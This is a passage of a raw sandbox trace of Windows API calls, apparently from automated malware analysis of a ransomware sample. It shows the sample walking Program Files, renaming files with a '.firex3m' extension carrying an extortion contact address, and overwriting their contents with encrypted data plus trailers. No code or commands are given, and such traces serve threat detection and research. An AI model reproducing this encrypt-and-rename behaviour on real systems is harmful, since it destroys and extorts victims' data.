lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.574] Sleep (dwMilliseconds=0x1) [0228.589] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Windows Photo Viewer\\ImagingDevices.exe", len=0x38 | out: pbstr=0x4abff7c*="C:\\Program Files\\Windows Photo Viewer\\ImagingDevices.exe") returned 1 [0228.589] GetProcessHeap () returned 0x630000 [0228.589] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5178) returned 0x6fe3bb0 [0228.589] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\ImagingDevices.exe" (normalized: "c:\\program files\\windows photo viewer\\imagingdevices.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.590] Sleep (dwMilliseconds=0x1) [0228.605] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui", len=0x42 | out: pbstr=0x4abff7c*="C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui") returned 1 [0228.605] GetProcessHeap () returned 0x630000 [0228.605] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5174) returned 0x6fe3bb0 [0228.605] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui" (normalized: "c:\\program files\\windows photo viewer\\en-us\\imagingdevices.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.606] Sleep (dwMilliseconds=0x1) [0228.621] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceYi.txt", len=0x43 | out: pbstr=0x4abff7c*="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceYi.txt") returned 1 [0228.621] GetProcessHeap () returned 0x630000 [0228.621] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5170) returned 0x6fe3bb0 [0228.621] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceYi.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextserviceyi.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.622] Sleep (dwMilliseconds=0x1) [0228.636] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceTigrinya.txt", len=0x49 | out: pbstr=0x4abff7c*="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceTigrinya.txt") returned 1 [0228.636] GetProcessHeap () returned 0x630000 [0228.636] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x516c) returned 0x6fe3bb0 [0228.636] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceTigrinya.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicetigrinya.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.637] Sleep (dwMilliseconds=0x1) [0228.652] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt", len=0x45 | out: pbstr=0x4abff7c*="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt") returned 1 [0228.652] GetProcessHeap () returned 0x630000 [0228.652] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5168) returned 0x6fe3bb0 [0228.652] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicedayi.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.652] Sleep (dwMilliseconds=0x1) [0228.667] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceArray.txt", len=0x46 | out: pbstr=0x4abff7c*="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceArray.txt") returned 1 [0228.667] GetProcessHeap () returned 0x630000 [0228.667] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5164) returned 0x6fe3bb0 [0228.667] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceArray.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicearray.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.668] Sleep (dwMilliseconds=0x1) [0228.683] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt", len=0x48 | out: pbstr=0x4abff7c*="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt") returned 1 [0228.683] GetProcessHeap () returned 0x630000 [0228.683] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5160) returned 0x6fe3bb0 [0228.683] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextserviceamharic.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.683] Sleep (dwMilliseconds=0x1) [0228.699] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Windows Multimedia Platform\\outlook.exe", len=0x38 | out: pbstr=0x4abff7c*="C:\\Program Files\\Windows Multimedia Platform\\outlook.exe") returned 1 [0228.699] GetProcessHeap () returned 0x630000 [0228.699] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x515c) returned 0x6fe3bb0 [0228.699] CreateFileW (lpFileName="C:\\Program Files\\Windows Multimedia Platform\\outlook.exe" (normalized: "c:\\program files\\windows multimedia platform\\outlook.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.699] Sleep (dwMilliseconds=0x1) [0228.714] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Windows Media Player\\wmpshare.exe", len=0x32 | out: pbstr=0x4abff7c*="C:\\Program Files\\Windows Media Player\\wmpshare.exe") returned 1 [0228.714] GetProcessHeap () returned 0x630000 [0228.714] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5158) returned 0x6fe3bb0 [0228.715] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\wmpshare.exe" (normalized: "c:\\program files\\windows media player\\wmpshare.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.716] Sleep (dwMilliseconds=0x1) [0228.731] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Windows Media Player\\treasurer smooth heater.exe", len=0x41 | out: pbstr=0x4abff7c*="C:\\Program Files\\Windows Media Player\\treasurer smooth heater.exe") returned 1 [0228.731] GetProcessHeap () returned 0x630000 [0228.731] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x513c) returned 0x6fe3bb0 [0228.731] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\treasurer smooth heater.exe" (normalized: "c:\\program files\\windows media player\\treasurer smooth heater.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.731] Sleep (dwMilliseconds=0x1) [0228.746] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Windows Media Player\\setup_wm.exe", len=0x32 | out: pbstr=0x4abff7c*="C:\\Program Files\\Windows Media Player\\setup_wm.exe") returned 1 [0228.746] GetProcessHeap () returned 0x630000 [0228.746] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5134) returned 0x6fe3bb0 [0228.746] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\setup_wm.exe" (normalized: "c:\\program files\\windows media player\\setup_wm.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.748] Sleep (dwMilliseconds=0x1) [0228.761] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.bmp", len=0x48 | out: pbstr=0x4abff7c*="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.bmp") returned 1 [0228.762] GetProcessHeap () returned 0x630000 [0228.762] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5128) returned 0x6fe3bb0 [0228.762] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.bmp" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color48.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.763] Sleep (dwMilliseconds=0x1) [0228.777] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color120.png", len=0x49 | out: pbstr=0x4abff7c*="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color120.png") returned 1 [0228.777] GetProcessHeap () returned 0x630000 [0228.777] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x511c) returned 0x6fe3bb0 [0228.777] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color120.png" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color120.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.777] Sleep (dwMilliseconds=0x1) [0228.794] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Windows Media Player\\Network Sharing\\ContentDirectory.xml", len=0x4a | out: pbstr=0x4abff7c*="C:\\Program Files\\Windows Media Player\\Network Sharing\\ContentDirectory.xml") returned 1 [0228.794] GetProcessHeap () returned 0x630000 [0228.794] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5110) returned 0x6fe3bb0 [0228.794] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\ContentDirectory.xml" (normalized: "c:\\program files\\windows media player\\network sharing\\contentdirectory.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.794] Sleep (dwMilliseconds=0x1) [0230.560] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x4abff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\toastbeginupgrade.xml") returned 1 [0230.560] GetProcessHeap () returned 0x630000 [0230.560] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50d4) returned 0x6fe3bb0 [0230.561] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-nl\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0233.589] CloseHandle (hObject=0x430) returned 1 [0233.589] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0233.589] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-nl\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-nl\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0234.119] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0234.120] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfc6c | out: lpFindFileData=0x4abfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x23d, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d51c0 [0234.120] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0234.120] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-nl\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0234.120] GetProcessHeap () returned 0x630000 [0234.120] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x717e148 [0234.120] GetProcessHeap () returned 0x630000 [0234.120] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x6405b0 [0234.120] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.120] ReadFile (in: hFile=0x430, lpBuffer=0x717e148, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x717e148*, lpNumberOfBytesRead=0x4abff0c*=0x220, lpOverlapped=0x0) returned 1 [0234.128] GetProcessHeap () returned 0x630000 [0234.128] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318be8 [0234.128] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.128] WriteFile (in: hFile=0x430, lpBuffer=0x6405b0*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6405b0*, lpNumberOfBytesWritten=0x4abff0c*=0x220, lpOverlapped=0x0) returned 1 [0234.128] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.128] WriteFile (in: hFile=0x430, lpBuffer=0x6407cf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6407cf*, lpNumberOfBytesWritten=0x4abff0c*=0x20, lpOverlapped=0x0) returned 1 [0234.128] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.128] WriteFile (in: hFile=0x430, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4abff0c*=0x4, lpOverlapped=0x0) returned 1 [0234.128] CloseHandle (hObject=0x430) returned 1 [0234.128] GetProcessHeap () returned 0x630000 [0234.128] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6405b0 | out: hHeap=0x630000) returned 1 [0234.128] GetProcessHeap () returned 0x630000 [0234.128] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717e148 | out: hHeap=0x630000) returned 1 [0234.128] GetProcessHeap () returned 0x630000 [0234.129] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318be8 | out: hHeap=0x630000) returned 1 [0235.168] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.168] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfcc4 | out: lpFindFileData=0x4abfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x51802b8a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x261, dwReserved0=0xb847496, dwReserved1=0x717e140, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5480 [0235.168] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0235.169] Sleep (dwMilliseconds=0x1) [0237.229] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Common.DBConnection.exe", len=0x70 | out: pbstr=0x4abff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Common.DBConnection.exe") returned 1 [0237.229] GetProcessHeap () returned 0x630000 [0237.229] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4eec) returned 0x6fe3bb0 [0237.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Common.DBConnection.exe" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\common.dbconnection.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0237.231] CloseHandle (hObject=0x648) returned 1 [0237.231] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0237.231] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Common.DBConnection.exe" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\common.dbconnection.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Common.DBConnection.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\common.dbconnection.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0237.233] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0237.233] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Common.DBConnection.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfc6c | out: lpFindFileData=0x4abfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5df79a9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5df79a9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5e9028c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7860, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="Common.DBConnection.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="COMMON~3.FIR")) returned 0x6d5440 [0237.233] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0237.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Common.DBConnection.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\common.dbconnection.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0237.233] GetProcessHeap () returned 0x630000 [0237.233] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7881) returned 0x7453008 [0237.234] GetProcessHeap () returned 0x630000 [0237.234] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7881) returned 0x6f05388 [0237.234] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.234] ReadFile (in: hFile=0x648, lpBuffer=0x7453008, nNumberOfBytesToRead=0x7860, lpNumberOfBytesRead=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x7453008*, lpNumberOfBytesRead=0x4abff0c*=0x7860, lpOverlapped=0x0) returned 1 [0242.880] GetProcessHeap () returned 0x630000 [0242.880] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745b928 [0242.880] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.880] WriteFile (in: hFile=0x648, lpBuffer=0x6f05388*, nNumberOfBytesToWrite=0x7860, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f05388*, lpNumberOfBytesWritten=0x4abff0c*=0x7860, lpOverlapped=0x0) returned 1 [0242.880] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.880] WriteFile (in: hFile=0x648, lpBuffer=0x6f0cbe7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f0cbe7*, lpNumberOfBytesWritten=0x4abff0c*=0x20, lpOverlapped=0x0) returned 1 [0242.881] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.881] WriteFile (in: hFile=0x648, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4abff0c*=0x4, lpOverlapped=0x0) returned 1 [0242.881] CloseHandle (hObject=0x648) returned 1 [0242.881] GetProcessHeap () returned 0x630000 [0242.881] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f05388 | out: hHeap=0x630000) returned 1 [0242.882] GetProcessHeap () returned 0x630000 [0242.882] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7453008 | out: hHeap=0x630000) returned 1 [0242.882] GetProcessHeap () returned 0x630000 [0242.882] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745b928 | out: hHeap=0x630000) returned 1 [0243.074] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0243.074] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Common.DBConnection.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfcc4 | out: lpFindFileData=0x4abfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5df79a9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5df79a9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x56b7bb53, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x7884, dwReserved0=0xb847496, dwReserved1=0x7453000, cFileName="Common.DBConnection.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="COMMON~3.FIR")) returned 0x6d54c0 [0243.074] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0243.074] Sleep (dwMilliseconds=0x1) [0243.083] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Money_TileLargeSquare.scale-100.png", len=0x92 | out: pbstr=0x4abff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Money_TileLargeSquare.scale-100.png") returned 1 [0243.084] GetProcessHeap () returned 0x630000 